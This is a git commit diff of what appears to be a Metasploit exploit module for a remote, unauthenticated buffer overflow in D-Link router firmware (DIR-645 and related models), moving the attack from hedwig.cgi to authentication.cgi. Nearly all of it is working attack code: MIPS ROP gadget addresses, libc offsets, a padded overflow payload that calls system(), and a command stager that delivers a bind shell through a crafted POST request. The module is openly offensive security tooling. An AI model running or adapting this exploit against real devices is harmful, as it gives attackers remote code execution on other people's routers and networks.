renamed and other module removed

bug/bundler_fix
Michael Messner 2014-06-17 08:49:46 +02:00
parent 8eb21ded97
commit e908b7bc25
2 changed files with 42 additions and 30 deletions

View File

@ -6,32 +6,34 @@
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking # the exploit as it is is excellent but we can only start the telnetd and connect to it Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Linux,\ HTTP\/1.0,\ DIR-/ ] } HttpFingerprint = { :pattern => [ /Linux,\ HTTP\/1.0,\ DIR-/ ] }
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header', 'Name' => 'D-Link authentication.cgi Buffer Overflow',
'Description' => %q{ 'Description' => %q{
This module exploits an anonymous remote code execution vulnerability on different D-Link routers. This module exploits an anonymous remote code execution vulnerability on different D-Link routers.
This module has been tested successfully on D-Link DIR300-v2.14, DIR600 and DIR645A1_FW103B11. This module has been tested successfully on D-Link DIR645A1_FW103B11. Different other devices like the
DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable and they were tested within an emulated
environment. They are a little bit different in the first ROP gadget.
}, },
'Author' => 'Author' =>
[ [
'Roberto Paleari', # Vulnerability discovery 'Roberto Paleari', # Vulnerability discovery
'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit 'Craig Heffner', # also discovered the vulnerability / help with some parts of this module
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on different other routers 'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on different other routers
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Platform' => ['linux'], 'Platform' => ['linux'],
'Arch' => ARCH_CMD, 'Arch' => ARCH_MIPSLE,
'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_bind_tcp' },
'References' => 'References' =>
[ [
[ 'OSVDB', '95950' ], [ 'OSVDB', '95951' ],
[ 'EDB', '27283' ], [ 'EDB', '27283' ],
[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008' ], #advisory on vendor web site [ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008' ], #advisory on vendor web site
[ 'URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000' ], #vendor web site of router [ 'URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000' ], #vendor web site of router
@ -39,9 +41,9 @@ class Metasploit3 < Msf::Exploit::Remote
], ],
'Targets' => 'Targets' =>
[ [
[ 'D-Link DIR-645 v1.03 - start telnetd', [ 'D-Link DIR-645 1.03',
{ {
'Offset' => 973, 'Offset' => 1011,
'LibcBase' => 0x2aaf8000, #Router 'LibcBase' => 0x2aaf8000, #Router
#'LibcBase' => 0x40854000, # QEMU environment #'LibcBase' => 0x40854000, # QEMU environment
'System' => 0x000531FF, # address of system 'System' => 0x000531FF, # address of system
@ -57,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check def check
begin begin
res = send_request_cgi({ res = send_request_cgi({
'uri' => "/hedwig.cgi", 'uri' => "/authentication.cgi",
'method' => 'GET' 'method' => 'GET'
}) })
@ -72,16 +74,20 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def exploit def exploit
lport = datastore['LPORT']
cmd = "/usr/sbin/telnetd -p #{lport}"
print_status("#{peer} - Trying to access the vulnerable URL...") print_status("#{peer} - Trying to access the vulnerable URL...")
unless check == Exploit::CheckCode::Detected unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end end
# prepare our shellcode that triggers the crash: print_status("#{peer} - Exploiting...")
execute_cmdstager(
:linemax => 200,
:concator => "&&"
)
end
def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset']) # padding shellcode = rand_text_alpha_upper(target['Offset']) # padding
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
@ -90,9 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote
# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used # .text:000159D0 21 28 60 02 move $a1, $s3 # not used
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used # .text:000159D4 21 30 20 02 move $a2, $s1 # not used
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
# .text:000159DC 09 F8 20 03 jalr $t9 # call system # .text:000159DC 09 F8 20 03 jalr $t9 # call system
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
@ -103,20 +109,26 @@ class Metasploit3 < Msf::Exploit::Remote
shellcode << rand_text_alpha_upper(16) # filler in front of our command shellcode << rand_text_alpha_upper(16) # filler in front of our command
shellcode << cmd shellcode << cmd
end
# now lets rock it ... def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
print_status("#{peer} - Sending exploit ...") begin
res = send_request_cgi({
res = send_request_cgi({ 'method' => 'POST',
'method' => 'POST', #'uri' => "/authentication_gdb.cgi", #for debugging on the router
#'uri' => "/hedwig_gdb.cgi", #for debugging on the router 'uri' => "/authentication.cgi",
'uri' => "/hedwig.cgi", 'cookie' => "uid=test",
'cookie' => "uid=#{shellcode}", 'encode_params' => false,
'encode_params' => false, 'vars_post' => {
'vars_post' => { 'uid' => 'test',
'test' => 'test', 'password' => 'asd' << shellcode,
} }
}) })
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end end
end end